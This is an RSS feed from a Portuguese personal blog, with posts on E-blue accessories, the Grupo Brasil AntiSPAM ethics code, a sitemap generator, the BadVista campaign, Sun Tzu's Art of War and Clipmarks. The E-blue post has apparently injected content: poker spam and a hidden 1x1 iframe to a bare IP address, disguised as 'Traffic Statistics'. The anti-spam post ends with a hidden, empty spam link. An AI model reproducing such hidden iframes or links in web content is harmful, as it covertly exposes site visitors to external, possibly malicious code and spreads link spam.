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	<title>Panacea</title>
	<link>http://www.panacea.com.br</link>
	<description>Blog pessoal sobre negócios na internet, design, marketing, simplicidade, cultura pop, tendências, lançamentos, produtos, e... Internet.</description>
	<pubDate>Mon, 28 Jul 2008 09:27:00 +0000</pubDate>
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		<title>Acessórios para computadores da E-blue no Brasil</title>
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		<pubDate>Tue, 16 Oct 2007 14:10:15 +0000</pubDate>
		<dc:creator>jorgehen</dc:creator>
		
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<p>Para atender o mercado brasileiro, a empresa atuará através de revendas especializadas, espalhadas por todo território nacional. Mais informações no site brasileiro da empresa: <a href="http://www.e-bluebrasil.com.br">www.e-bluebrasil.com.br</a> ou no site internacional <a href="http://www.e-blue.jp">www.e-blue.jp</a><noscript>They have every kind of <a href="http://www.big-texas-holdem.com">texas holdem</a> game, tournaments, and what are called<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> Sit and Go.</noscript> (em inglês ou japonês).</p>
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		<title>Código de Ética do Grupo Brasil AntiSPAM</title>
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		<pubDate>Fri, 09 Mar 2007 02:24:45 +0000</pubDate>
		<dc:creator>jorgehen</dc:creator>
		
		<category><![CDATA[Artigos]]></category>

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		<description><![CDATA[O Grupo Brasil AntiSPAM, formado por várias associações como a Associação Brasileira de Marketing Direto (ABEMD) e a Câmara Brasileira de Comércio Eletrônico (Camara-e.net),  possue um código de ética para ajudar a definir as regras para envio de mensagens comerciais. O objetivo do Grupo é definir as bases para à auto-regulamentação das atividades de [...]]]></description>
			<content:encoded><![CDATA[<p>O <a href="http://brasilantispam.locaweb.com.br/" target="_blank">Grupo Brasil AntiSPAM</a>, formado por várias associações como a Associação Brasileira de Marketing Direto (ABEMD) e a Câmara Brasileira de Comércio Eletrônico (Camara-e.net),  possue um código de ética para ajudar a definir as regras para envio de mensagens comerciais. O objetivo do Grupo é definir as bases para à auto-regulamentação das atividades de Web Marketing, da mesma forma que o Conar tem feito com a publicidade tradicional. Veja o código do Grupo Brasil AntiSPAM:</p>
<h3>Código de Ética Anti-Spam e Melhores Práticas de Uso de Mensagens Eletrônicas</h3>
<p>Considerações Gerais:</p>
<p>Este Código objetiva estabelecer regras éticas para as práticas de comunicação comercial via mensagens eletrônicas, em especial correio eletrônico, “sms” e “instant Messenger”.</p>
<p>Os padrões éticos e práticas estabelecidas neste Código devem ser respeitados por quantos estejam envolvidos nas atividades de publicidade, comunicação dirigida, listas de endereços de e-mail, provedor de acesso, provedor de e-mail, sejam empresas Anunciantes, Agências de Comunicação, Veículos, Fornecedores, Profissionais Liberais e outros.</p>
<p>Este Código foi concebido como instrumento auto-disciplinar e auto-regulamentar da atividade de comunicação comercial via mensagens eletrônicas, podendo ser utilizado como fonte subsidiária no contexto da legislação que direta ou indiretamente trate ou venha a tratar da matéria, ou das questões relacionadas de Internet, Telecomunicações, Privacidade e Segurança da Informação.</p>
<p>O objetivo deste Código é, ao estabelecer princípios de ética e normas padrão para a prática de comunicação comercial via mensagens eletrônicas, preservar o usuário alvo destas comunicações e estabelecer a confiança do mercado na utilização deste canal.</p>
<p>Este Código se baseia nas práticas do “Código de Ética” do Conselho Nacional de Auto Regulamentação Publicitária – CONAR, do “Código de Ética” da ABEMD – Associação de Brasileira de Marketing Direto, bem como de toda a legislação vigente no país e normas internacionais regulando a matéria.</p>
<h4>Código de Ética Anti-SPAM</h4>
<p>Artigo 1º. - O presente Código objetiva reger e orientar a comunicação institucional, comercial e publicitária enviada sob a forma de  mensagens eletrônicas, sem prejuízo da concomitante aplicação, quando for o caso, da legislação vigente, especialmente em matéria de publicidade, privacidade e proteção ao consumidor.</p>
<p>Artigo 2º. - Para os efeitos desse Código se define a seguinte terminologia:</p>
<ul>
<li><strong>Mensagem Eletrônica</strong> – é qualquer mensagem, arquivo, dado ou outro tipo assemelhado de informação enviados por meio eletrônico ou similar, seja ele correio eletrônico, telefone celular, Internet ou mensagem instantânea, que se transmite a uma ou mais pessoas em ambiente de rede aberta ou fechada, fixa ou móvel.</li>
<li><strong>Endereço de Correio Eletrônico</strong> – é a série de caracteres alfanuméricos utilizados para identificar e localizar remetente e destinatário(s) de uma Mensagem de Correio Eletrônico.</li>
<li><strong>Remetente </strong>– é a pessoa, física ou jurídica, responsável pela emissão da Mensagem Eletrônica, mas não quem atue como intermediário em relação ao envio da mesma.</li>
<li><strong>Destinatário </strong>– é a pessoa, física ou jurídica, a quem a Mensagem Eletrônica é enviada, excluindo-se aquele que atua como intermediário nesta relação.</li>
<li><strong>Assunto </strong>– é o título do tema objeto da Mensagem Eletrônica, inserido em espaço próprio ou, na falta deste, na primeira linha de texto, e que obrigatoriamente tenha relação de nexo com o conteúdo.</li>
<li><strong>Provedor </strong>- é uma empresa prestadora de serviços de acesso, informações ou conteúdo, atividades essas que caracterizam serviços de valor adicionado nos termos e para os fins da Norma 004/95 aprovada pela Portaria SSC/MC nº 148/95 e da Regulamentação expedida pela ANATEL.</li>
<li><strong>“Opt-in”</strong> – é a permissão concedida pelo Destinatário, autorizando o envio de Mensagens Eletrônicas de um determinado Remetente.</li>
<li><strong>“Opt-out” </strong>– é a opção do Destinatário de ser automática e definitivamente excluído de determinada lista de endereços eletrônicos ou banco de dados eletrônico a partir dos quais são enviadas Mensagens Eletrônicas ou Malas Diretas Digitais.</li>
<li><strong>Mensagem Eletrônica Não Solicitada</strong> – é qualquer Mensagem Eletrônica que não tenha sido previamente solicitada pelo Destinatário e que obrigatoriamente deverá ser identificada com a sigla NS (Não Solicitado) no campo Assunto.</li>
<li><strong>Mensagem Eletrônica Comercial</strong> – é qualquer Mensagem Eletrônica que objetive despertar o interesse dos destinatários por um produto, serviço, marca, empresa ou pessoa.</li>
<li><strong>Mensagem Eletrônica Institucional</strong> – é qualquer Mensagem Eletrônica sem finalidade comercial direta e imediata, mas patrocinada por um produto, serviço, marca, empresa ou pessoa, que objetive prestar informações aos destinatários.</li>
<li><strong>Mala Direta Digital</strong> – é qualquer Mensagem Eletrônica endereçada a um determinado conjunto de Destinatários.</li>
<li><strong>Marketing Eletrônico</strong> - é a estratégia de comunicação por Mala Direta Digital, que observa os princípios éticos elencados neste Código.</li>
<li><strong>“Newsletter”</strong> - é o informativo eletrônico específico de determinado Remetente, de periodicidade variável, encaminhada a Destinatários que tenham previamente se cadastrado junto ao referido Remetente ou quem o tenha contratado.</li>
</ul>
<p>Artigo 3º. – “Spam” - é a designação para a atividade de envio de Mensagens Eletrônicas e Mala Direta Digital que não possam ser consideradas nem Marketing Eletrônico, nem Newsletter, e nas quais se verifique a simultânea ocorrência de pelo menos 2 (duas) das seguintes situações:</p>
<blockquote><p>a)   Inexistência de identificação ou falsa identificação do Remetente;</p>
<p>b)   Ausência de prévia autorização (opt-in) do Destinatário;</p>
<p>c)   Inexistência da opção “opt-out”;</p>
<p>d) Abordagem enganosa – tema do assunto da mensagem é distinto de seu conteúdo de modo a induzir o destinatário em erro de acionamento na mensagem;</p>
<p>e)   Ausência da sigla NS no campo Assunto, quando a mensagem não houver sido previamente solicitada;</p>
<p>f)    Impossibilidade de identificação de quem é de fato o Remetente;</p>
<p>g)   Alteração do Remetente ou do Assunto em mensagens de conteúdo semelhante e enviadas ao mesmo Destinatário com intervalos inferiores a 10 (dez) dias.</p></blockquote>
<p>Artigo 4º. – Considerar-se-á Mensagem Eletrônica Comercial, ou Institucional eticamente corretas as que contiverem cumulativamente os seguintes elementos:</p>
<blockquote><p>a)   Remetente Identificável;</p>
<p>b)   Legenda Comercial, Institucional ou Publicitária no Assunto;</p>
<p>c)   Assinatura com o nome legal e endereço eletrônico do Remetente;</p>
<p>d)   Opções de “opt-in” e “opt-out” visíveis e em plenas condições de utilização eficaz;</p>
<p>e)   Nome da Agência de Publicidade ou de Marketing Direto responsáveis pela remessa;</p>
<p>f)    Nome da Marca ou do Anunciante responsável pela remessa;</p></blockquote>
<p>Artigo 5º. – Também não será considerada SPAM a atividade de remessa de Mensagens Eletrônicas e Mala Direta Digital que nas quais se verifiquem, em cada caso, alguma das seguintes condições:</p>
<blockquote><p>a)   Haja a prévia e comprovada relação pessoal ou profissional entre o Remetente e o Destinatário;</p>
<p>b)   Haja a prévia e comprovada autorização do Destinatário, inclusive pela opção “opt-in”, ao Remetente ou para empresas, por este contratadas, para remessa em seu nome e/ou por sua conta;</p>
<p>c)   Seja remetida por qualquer Entidade legalmente constituída, exclusivamente aos respectivos membros e ou associados;</p>
<p>d)   Seja remetida pelos Provedores de Acesso ou Conteúdo a seus usuários com a finalidade de transmissão de quaisquer avisos que digam respeito à prestação de serviços que constitui o objeto da relação comercial entre uns e outros;</p></blockquote>
<p>Artigo 6º. – Ressalvados os casos previstos no item “d” do artigo anterior, o Destinatário tem o direito de recusar o recebimento de qualquer Mensagem Eletrônica Comercial, Institucional e Mala Direta Digital, bastando, para tanto, que solicite a qualquer tempo sua exclusão do banco de dados da lista de endereços eletrônicos diretamente à empresa Remetente ou a quem possa fazer valer esse seu Direito.</p>
<p>Artigo 7º. – O Destinatário que for vítima de SPAM poderá informar a empresa que lhe provê o serviço de envio e recebimento de Mensagens Eletrônicas, com cópia da respectiva Mensagem Eletrônica, podendo o referido prestador, se o desejar e por sua conta e risco, tomar as medidas que entender cabíveis visando impedir que o praticante do SPAM reincida nessa atividade anti-ética.</p>
<p>Artigo 8º. – Essas mesmas medidas poderá o Provedor de acesso, enquanto prestador do serviço de envio e recebimento de mensagens eletrônicas, tomar por sua livre iniciativa e independentemente de provocação de seus usuários, nos termos de política anti-spam que pratique e cujos critérios se recomenda sejam divulgados a seus usuários para que estes, se o desejarem, optem por não ter nenhuma Mensagem Eletrônica a ele dirigida filtrada e/ou barrada pelo mesmo Provedor.</p>
<p>Artigo 9º. – O praticante comprovado de SPAM e toda e qualquer pessoa física ou jurídica que, conscientemente, ajudarem na transmissão de Mensagens Eletrônicas caracterizadoras daquela prática, estarão sujeitos a ser incluídos na Lista de Práticas Não Recomendáveis do Comitê Anti-Spam, com as conseqüências correspondentes e que se encontram elencadas no site www.brasilantispam.com.br  que estará permanentemente à disposição para consultas.</p>
<p>Artigo 10º. – Independentemente das medidas que os Provedores, ou as demais empresas responsáveis pelo gerenciamento do envio e recepção de Mensagens Eletrônicas, adotem, como previsto nos artigos oitavo e nono acima, deverão encaminhar cópia das eventuais denúncias que lhes sejam encaminhadas pelos respectivos usuários ao Comitê Anti-Spam, que tomará as providências que entender cabíveis contra os responsáveis pela prática de SPAM.</p>
<p>Artigo 11º. – Para a Coleta de Informações e Dados de Consumidores ou Usuários de meios eletrônicos, deve ser observado o seguinte:</p>
<blockquote><p>a)     As informações dos usuários para uso e envio de Mensagens Eletrônicas deverão ser coletadas para esse fim exclusivo através de formulários de cadastramento nos sites e/ou e-mails; participação em concursos ou promoções; formulários de “e-commerce” ou qualquer outra forma que exponha explicitamente a finalidade de captação das informações;</p>
<p>b)      Constará obrigatoriamente do documento eletrônico acima referido a autorização do usuário para o posterior recebimento de Mensagens Eletrônicas e Mala Direta Digital, que jamais poderá ser presumida;</p>
<p>c)      O usuário deverá ter livre acesso e a qualquer tempo ao seu cadastro no Banco de Dados, seja para retirar seus dados do mesmo, seja para editar seus dados, seja ainda para suspender ou cancelar a autorização antes dada para o recebimento de Mensagens Eletrônicas ou Mala Direta Digital;</p>
<p>d)      É vedada a coleta de quaisquer dados que possam expor o usuário a situações de constrangimento de qualquer tipo;</p>
<p>e)     A pessoa física ou jurídica responsável pela coleta de informações deve apresentar ao usuário sua “Política de Privacidade de Dados”;</p>
<p>f)       A “Política de Privacidade de Dados” acima referida deve descrever claramente como serão utilizadas ou comercializa das as informações coletadas, assim como se serão utilizados “cookies” nos navegadores de acesso à Rede Internet.</p></blockquote>
<p>Artigo 12º - Este Código entrará em vigor 30 dias após sua divulgação pública na mídia e em meios eletrônicos, sendo que o mesmo será mantido permanentemente disponível para consulta no endereço eletrônico www.brasilantispam.com.br.</p>
<p>São Paulo, 31 de outubro de 2003</p>
<h4>Entidades signatárias</h4>
<p>ABA - Associação Brasileira de Anunciantes<br />
ABAP - Associação Brasileira de Agências de Publicidade<br />
ABEMD - Associação Brasileira de Marketing Direto<br />
ABES - Associação Brasileira das Empresas de Software<br />
ABRANET - Associação Brasileira dos Provedores de Acesso, Serviços e Informações da Rede Internet<br />
AMI - Associação de Mídia Interativa<br />
BSA – Business Software Aliance<br />
Camara-e.net - Câmara Brasileira de Comércio Eletrônico<br />
Fecomércio-SP - Federação do Comércio do Estado de São Paulo<br />
<a href="http://www.rec6.com.br/blogs.php" id="5269997b18e5fa5234bc43a3edcc2fbc"></a></p>
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		<item>
		<title>AuditMyPC - Gerador de Sitemap para Google e Yahoo</title>
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		<pubDate>Thu, 08 Mar 2007 04:17:25 +0000</pubDate>
		<dc:creator>jorgehen</dc:creator>
		
		<category><![CDATA[Artigos]]></category>

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		<description><![CDATA[O Google Sitemaps  é um serviço que permite que os webmasters submetam um mapa em XML de seu site, contendo informações como a freqüência da alteração da página, prioridade e data de criação. O benefício principal do Google Sitemap é que você está está fornecendo as informações sobre seu site, como que páginas são [...]]]></description>
			<content:encoded><![CDATA[<p>O <a href="http://www.google.com/webmasters/sitemaps" target="_blank">Google Sitemaps</a>  é um serviço que permite que os webmasters submetam um mapa em XML de seu site, contendo informações como a freqüência da alteração da página, prioridade e data de criação. O benefício principal do Google Sitemap é que você está está fornecendo as informações sobre seu site, como que páginas são as mais importantes e que foram atualizadas recentemente. Feito isso de forma correta o Google tende a considerar as suas sugestões. Feito de forma errada pode atrapalhar, em vêz de ajudar.</p>
<p>No site <a href="https://www.google.com/webmasters/tools/docs/en/sitemap-generator.html" target="_blank">Google Webmaster Tools</a>  tem um script para ser incluído no servidor para gerar o sitemap, mas além de ter uma instalação um pouco complicada, você deve ter o Python instalado em seu servidor para ele funcionar.</p>
<h2>Google Sitemap Generator da AuditMyPC</h2>
<p>O GSG da AuditMyPC é um gerador de sitemaps gratuíto, eficiente e fácil de usar. Foi desenvolvido em Java e permite que você construa um sitemap rapidamente e que possa enviar imediatamente ao Google Sitemaps. Só é preciso um navegador que suporte Java, tal como o Internet Explorer, o Firefox e o outros existentes no mercado.</p>
<p>Tentei utilizar vários geradores on-line antes do gerador da AuditMyPC, mas todos tinham deficiências, alguns só podiam indexar 500 ou menos páginas por site, outros não conseguiam encontrar as páginas todas. Além disso, ao contrário deste, eles não permitiam uso de filtros ou gravação das configurações para uso posterior. Ele também pode gerar o sitemap em formato XML, HTML ou para o Yahoo.</p>
<h2>Como funciona</h2>
<p>É muito simples o uso do GSG, é só entrar no <a href="http://www.auditmypc.com/free-sitemap-generator.asp" target="_blank">site da AuditiMyPC</a>  e clicar no botão &#8220;Webmaster Tool&#8221; no alto da página. O GSG vai varrer o seu site e gerar um sitemap usando os valores informados. Basicamente ele funcionará, na maioria dos casos, apenas informando a url do site (por ex.: http://www.mundomax.com.br). Depois é só explorar as configurações para deixar o sitemap exatamente como desejado.</p>
<p>É uma ferramenta muito útil para o webmaster. Ser encontrado no Google é fundamental para a audiência de qualquer site e a aplicação da AuditMyPC faz isso com maestria!</p>
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		<item>
		<title>BadVista.org: Um não a adoção do Windows Vista através da promoção do software livre</title>
		<link>http://www.panacea.com.br/artigos/badvistaorg-um-nao-a-adocao-do-windows-vista-atraves-da-promocao-do-software-livre.html</link>
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		<pubDate>Mon, 05 Mar 2007 02:16:49 +0000</pubDate>
		<dc:creator>jorgehen</dc:creator>
		
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		<description><![CDATA[Falar mal da Microsoft virou senso comum há muito tempo na Internet e parece não ter empresa mais odiada no mundo da tecnologia. Apesar disso o uso da plataforma Windows é enorme e tem a grande fatia do mercado, deixando os amados Apple e Linux com a menor fatia. O novo round desta luta e [...]]]></description>
			<content:encoded><![CDATA[<p>Falar mal da Microsoft virou senso comum há muito tempo na Internet e parece não ter empresa mais odiada no mundo da tecnologia. Apesar disso o uso da plataforma Windows é enorme e tem a grande fatia do mercado, deixando os amados Apple e Linux com a menor fatia. O novo round desta luta e patrocinado pela <a href="http://www.fsf.org/" target="_blank">Free Software Foundation</a>, principal entidade do mundo na defesa e promoção do software livre. Ela lançou uma campanha contrária ao uso do Vista, o novo sistema operacional da Microsoft. A campanha BadVista prega a liberdade dos usuários de computadores, se opondo ao Vista e provendo as alternativas de software livre disponíveis.</p>
<p>Para a FSF o Vista é um gigantesco retrocesso na liberdade dos usuários e sua mira tem uma alvo bem definido: a tecnologia &#8220;Digital Rights Management - DRM&#8221;. Esta tecnologia promete controlar de forma mais severa os softwares e licenças instaladas no computador.</p>
<p>No <a href="http://badvista.fsf.org/" title="BadVista" target="_blank">site da BadVista</a> existem muitas informações sobre os Softwares Livres e sobre o DRM no Vista.</p>
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		<title>A Arte da Guerra - Sun Tzu</title>
		<link>http://www.panacea.com.br/artigos/a-arte-da-guerra-sun-tzu.html</link>
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		<pubDate>Sat, 03 Mar 2007 20:13:21 +0000</pubDate>
		<dc:creator>jorgehen</dc:creator>
		
		<category><![CDATA[Artigos]]></category>

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		<description><![CDATA[Versão completa do livro A Arte da Guerra de Sun Tzu.
Atualmente as clássicas táticas do antigo general chinês são consideras muito mais que estratégias de guerra, é um verdadeiro tratado sobre as batalhas travadas nos campos dos negócios.  Entender e aplicar suas estratégias podem levar à vitória no crescente e competitivo campo de batalha [...]]]></description>
			<content:encoded><![CDATA[<p>Versão completa do livro <em>A Arte da Guerra</em> de Sun Tzu.</p>
<p>Atualmente as clássicas táticas do antigo general chinês são consideras muito mais que estratégias de guerra, é um verdadeiro tratado sobre as batalhas travadas nos campos dos negócios.  Entender e aplicar suas estratégias podem levar à vitória no crescente e competitivo campo de batalha das vendas.</p>
<h2>Cap. 1 - Sobre a avaliação</h2>
<p><strong>Sun Tzu disse:</strong> a guerra é de vital importância para o Estado; é o domínio da vida ou da morte, o caminho para a sobrevivência ou a perda do Império: é preciso manejá-la bem. Não refletir seriamente sobre tudo o que lhe concerne é dar prova de uma culpável indiferença no diz respeito à conservação ou à perda do que nos é mais querido; e isso não deve ocorrer entre nós.</p>
<p>Há que valorá-la em termos de cinco fatores fundamentais, e fazer comparações entre diversas condições dos contentores, com vistas a determinar o resultado da guerra.</p>
<p>O primeiro desses fatores é a doutrina; o segundo, o tempo, o terceiro, o terreno, o quarto, o mando e o quinto, a disciplina.</p>
<p><strong>A doutrina</strong> significa aquilo que faz com que o povo esteja em harmonia com seu governante, de modo que o siga onde esse for, sem temer por suas vidas, nem de correr qualquer perigo.</p>
<p><strong>O tempo</strong> significa o Ying e o Yang, a noite e o dia, o frio e o calor, dias ensolarados ou chuvosos e a mudança das estações.</p>
<p><strong>O terreno</strong> implica as distâncias, e faz referência onde é fácil ou difícil deslocar-se, se é em campo aberto ou lugares estreitos, e isto influencia as possibilidades de sobrevivência.</p>
<p><strong>O mando</strong> há de ter como qualidades: sabedoria, sinceridade, benevolência, coragem e disciplina.</p>
<p>Por último, <strong>a disciplina</strong> há de ser compreendida como a organização do exército, as graduações e classes entre os oficiais, a regulação das rotas de mantimentos, e a provisão de material militar ao exército.</p>
<p>Estes cinco fatores fundamentais hão de ser conhecidos por cada general. Aquele que os domina, vence; aquele que não, sai derrotado. Portanto, ao traçar os planos, há de comparar os seguintes sete fatores, valorando cada um com o maior cuidado:</p>
<ul>
<li>Qual dirigente é mais sábio e capaz?</li>
<li>Que comandante possui o maior talento?</li>
<li>Que exército obtém vantagens da natureza e terreno?</li>
<li>Em que exército se observam melhor as regulações e as instruções?</li>
<li>Quais as tropas mais fortes?</li>
<li>Que exército tem oficiais e tropas melhor treinadas?</li>
<li>Que exército administra recompensas e castigos de forma mais justa?</li>
</ul>
<p>Mediante o estudo desses sete fatores, serás capaz de adivinhar qual dos dois grupos sairá vitorioso e qual será derrotado.</p>
<p>O general que siga meu conselho, é certo que vencerá. Esse general há de ser mantido na liderança. Aquele que ignorar meus conselhos, certamente será derrotado. E deve ser destituído. Além de prestar atenção a meus conselhos e planos, o general deve criar uma situação que contribua com seu cumprimento. Por situação quero dizer que deve levar em consideração a situação do campo, e atuar de acordo com o que lhe for vantajoso.</p>
<p>A arte da guerra se baseia no engano. Portanto, quando és capaz de atacar, deves aparentar incapacidade e, quando as tropas se movem, aparentar inatividade. Se estás perto do inimigo, deves fazê- lo crer que estás longe; se longe, aparentar que se está perto. Colocar iscas para atrair ao inimigo.</p>
<p>Golpear o inimigo quando está desordenado. Preparar-se contra ele quando está seguro em todas partes. Evitá-lo durante um tempo quando é mais forte. Se teu oponente tem um temperamento colérico, tente irritá-lo. Se é arrogante, trata de fomentar seu egoísmo.</p>
<p>Se as tropas inimigas se acham bem preparadas após uma reorganização, tenta desordená-las. Se estão unidas, semeia a dissensão entre suas filas. Ataca o inimigo quando não está preparado, e aparece quando não te espera. Estas são as chaves da vitória pela estratégia.</p>
<p>Agora, se as estimações realizadas antes da batalha indicam vitória, é porque os cálculos cuidadosamente realizados mostram que tuas condições são mais favoráveis que as condições do inimigo; se indicam derrota, é porque mostram que as condições favoráveis para a batalha são menores. Com uma avaliação cuidadosa, podes vencer; sem ela, não pode. Menos oportunidades de vitória terá aquele que não realiza cálculos em absoluto.</p>
<p>Graças a este método, se pode examinar a situação, e o resultado aparece claramente.</p>
<h2>Cap. 2 - Sobre o princípio das ações</h2>
<p>Uma vez começada a batalha, ainda que estejas ganhando, se continuar por muito tempo, desanimará a tuas tropas e embotará tua espada. Se estás sitiando uma cidade, esgotarás tuas forças. se manténs teu exército durante muito tempo em campanha, teus mantimentos se esgotarão.</p>
<p> <a href="http://www.panacea.com.br/artigos/a-arte-da-guerra-sun-tzu.html#more-6" class="more-link">(more&#8230;)</a></p>
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		<title>Clipmarks 2.0 para Firefox</title>
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		<pubDate>Wed, 28 Feb 2007 13:46:35 +0000</pubDate>
		<dc:creator>jorgehen</dc:creator>
		
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		<description><![CDATA[Você já quis guardar um pedaço de um website, como faria com um artigo de jornal ou uma página de revista? É isso que o Clipmarks faz. Com ele é possível definir tags e guardar &#8220;pedaços&#8221; de páginas da web, e ainda pode escolher gravar como privado ou compartilhar com os outros usuários do serviço [...]]]></description>
			<content:encoded><![CDATA[<p>Você já quis guardar um pedaço de um website, como faria com um artigo de jornal ou uma página de revista? É isso que o Clipmarks faz. Com ele é possível definir tags e guardar &#8220;pedaços&#8221; de páginas da web, e ainda pode escolher gravar como privado ou compartilhar com os outros usuários do serviço (que não são poucos).</p>
<p>Esta nova versão acrescenta vários novos recursos, em especial a opção de fazer clips de vídeos do Google, Metacafe, YouTube e outros sites. Você pode incluir seus clips diretamente em seu blog ou envia-los por e-mail, e sem precisar incluir no clipmarks.com antes. A versão 2.0 também permite que você &#8220;clipe&#8221; palavras ou frases, e não apenas parágrafos e páginas, e sua barra de quatro botões foi transformada em um único botão.</p>
<p>Se você nunca testou o Clipmarks de uma olhada, o serviço já era bom e suas novas funcionalidades o tornaram ainda melhor.</p>
<p>O Clipmarks 2.0 requer o navegador Firefox, mas eles prometem uma versão IE para logo. O serviço é gratuito e o registro no site é simples e rápido.</p>
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<li><a href="http://www.clipmarks.com/">Clipmarks 2.0</a></li>
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